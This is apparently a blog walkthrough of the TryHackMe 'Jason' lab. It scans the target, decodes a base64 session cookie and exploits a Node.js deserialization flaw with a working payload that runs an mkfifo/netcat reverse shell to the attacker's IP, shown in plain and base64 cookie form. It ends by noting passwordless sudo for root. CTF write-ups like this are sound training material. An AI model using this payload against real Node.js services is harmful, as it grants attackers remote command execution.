THM - Jason room
THM - Jason room
Intro
- The challenge is named after the popular data format JSON, which plays a central role in the exploitation path. As you progress, you’ll learn how to:
- Enumerate services and endpoints
- Exploit a Node.js deserialization vulnerability
- Gain a reverse shell
- Escalate privileges to root using classic Linux misconfigurations
Enumeration
- Starting with nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
$ nmap -sC -sV -vv -p- 10.10.10.14 -oA nmap_jax.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 18:12 CEST
...
Initiating Ping Scan at 18:12
Scanning 10.10.10.14 [4 ports]
Completed Ping Scan at 18:12, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:12
Completed Parallel DNS resolution of 1 host. at 18:12, 0.03s elapsed
Initiating SYN Stealth Scan at 18:12
Scanning 10.10.10.14 [65535 ports]
Discovered open port 22/tcp on 10.10.10.14
Discovered open port 80/tcp on 10.10.10.14
Completed SYN Stealth Scan at 18:15, 167.58s elapsed (65535 total ports)
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 f6:85:3f:e0:c5:80:66:f2:7e:5e:ac:5d:3d:34:87:5e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSya26HOge/iMDq3nEXeRXebkSKfkvxkN52xafqhfdySLEsFH2cPCFYd04hhIpf3H7OYjDvmis8EmaGfyj1OZyPyb0PTH6TSTqloMypPxsVOCJ0hEBN7isrj/Mdb6LNraec+arvkC+PcrPwwIs1UdxwRv07E43K5Q99zBeXeNBAOfrX0buEzAX74wnsG6JMR0Z385Er8EzkcHNAqv/yzrW798dfrPgCoiL+lPWz6SPfT3D+YAkZWiKYFrk4oQ+66RxXzVPI0HZ/6+5oaGxOHycexxkKlyncrhmuA3veVMiGHoUeqPgAreXPKur4XMVTKLc1OmP0oJ5XWtCe5i1RfsT8vP0u7FVjVt7LGswPqYPZ2jlH9RBMR0/wOF7o/mo7bnvucDg6/GEc0Sfoeo1RzmQz3LNJxyNx+03mF/YIIDNhW7HnH6eQtWy1bTZuKU4AJ6DY/GiJ469MPgdsLauTR/aLOrbry35DA+xx/DSIws9FhTLzcNcTKjiHYEoEcVIPW0=
| 256 47:ab:35:73:84:5b:51:7a:b4:b3:c6:f6:6a:e8:8d:29 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP+VkzWQj0inn+zW7npilcJ+jQ6b8ZJz9HzLSTcAwDdik0orF2l7AFcpSMgHN5n6MiNoVlfcjSKQulughRGypW8=
| 256 d9:44:85:dd:74:56:15:65:66:ab:a8:52:ec:07:a4:f3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF6RVH/ln4PqobRVw7oUd/1jjiyJSQYuugoWcWGV46Rj
80/tcp open http syn-ack ttl 63
|_http-favicon: Unknown favicon MD5: 8FCEA7DE73B9ED47DE799DB3AE6363A8
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Horror LLC
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Content-Type: text/html
| Date: Thu, 17 Jul 2025 16:15:33 GMT
| Connection: close
| <html><head>
| <title>Horror LLC</title>
| <style>
| body {
| background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
| ...
| @keyframes Background {
| background-position: 0% 50%
|_ background-posi
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.95%I=7%D=7/17%Time=687921A6%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,E4B,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html\r\nDat
...
SF:x2050%\x20{\n\x20\x20\x20\x20\x20\x20background-posi");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:15
Completed NSE at 18:15, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:15
Completed NSE at 18:15, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:15
Completed NSE at 18:15, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.80 seconds
Raw packets sent: 69284 (3.048MB) | Rcvd: 66500 (2.660MB)
- I tryied ffuf but found nothing there
- On port 80 we have a UI with some form where we could provide email (or maybe something else :)) and getting answer (after some time)
- Running it via Burp I noticed that aftert providing email there, you get back a session token in base64:
1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: 10.10.192.94
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJlbWFpbCI6ImFkbWluQGpheC50aG0ifQ==
Connection: keep-alive
- That’s what was in a session:
1
2
3
echo 'eyJlbWFpbCI6ImFkbWluQGpheC50aG0ifQ==' | base64 -d
{"email":"admin@jax.thm"}
- So something happening with our payload in this js part:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
document.getElementById("signup").addEventListener("click", function() {
var date = new Date();
date.setTime(date.getTime()+(-1*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
document.cookie = "session=foobar"+expires+"; path=/";
const Http = new XMLHttpRequest();
console.log(location);
const url=window.location.href+"?email="+document.getElementById("fname").value;
Http.open("POST", url);
Http.send();
setTimeout(function() {
window.location.reload();
}, 500);
});
</script>
- And we see that our payload is reflected on the page …
- If after decoding, you find serialized data:
- JSON: starts with
{or[ - Pickle (Python): starts with
\x80 - PHP serialization: starts with
a:,s:,O:, etc. - Binary structures or magic bytes (e.g., JPEG, ZIP) In our case it means we need to look for a
javascript/json serialization/deserialization vulnerabilitiesand here is article I found:https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
- JSON: starts with
Exploitation
- So I decided to just created a file
payload.jswith this snippet (standard/bin/bash -i ...shell didn’t worked for me) butncdid the work:
1
{"email":"_$$ND_FUNC$$_function(){require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.100.105 12345 >/tmp/f',function(error, stdout, stderr){console.log(stdout)});}()"}
- Next just
cat payload.js | base64 - Start listener:
1
nc -lvnp 12345
- Grab the base64 outcome and update a request in repeater with a new session:
eyJlbWFpbCI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vYmFzaCAtaSAyPiYxfG5jIDEwLjExLjEwMC4xMDUgMTIzNDUgPi90bXAvZicsZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKXtjb25zb2xlLmxvZyhzdGRvdXQpfSk7fSgpIn0K
1
2
3
4
5
6
7
8
9
10
11
GET / HTTP/1.1
Host: 10.10.57.206
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.57.206/
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJlbWFpbCI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vYmFzaCAtaSAyPiYxfG5jIDEwLjExLjEwMC4xMDUgMTIzNDUgPi90bXAvZicsZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKXtjb25zb2xlLmxvZyhzdGRvdXQpfSk7fSgpIn0K
Connection: keep-alive
Post exploitation
- User flag is in the standard user’s place
/home/dylan/user.txt - Run
sudo -land you will see that you can run everysudocommand without password - Root flag is also in standard place -
/root/root.txt - That’s all folks! Thank you for reading! :)
This post is licensed under CC BY 4.0 by the author.
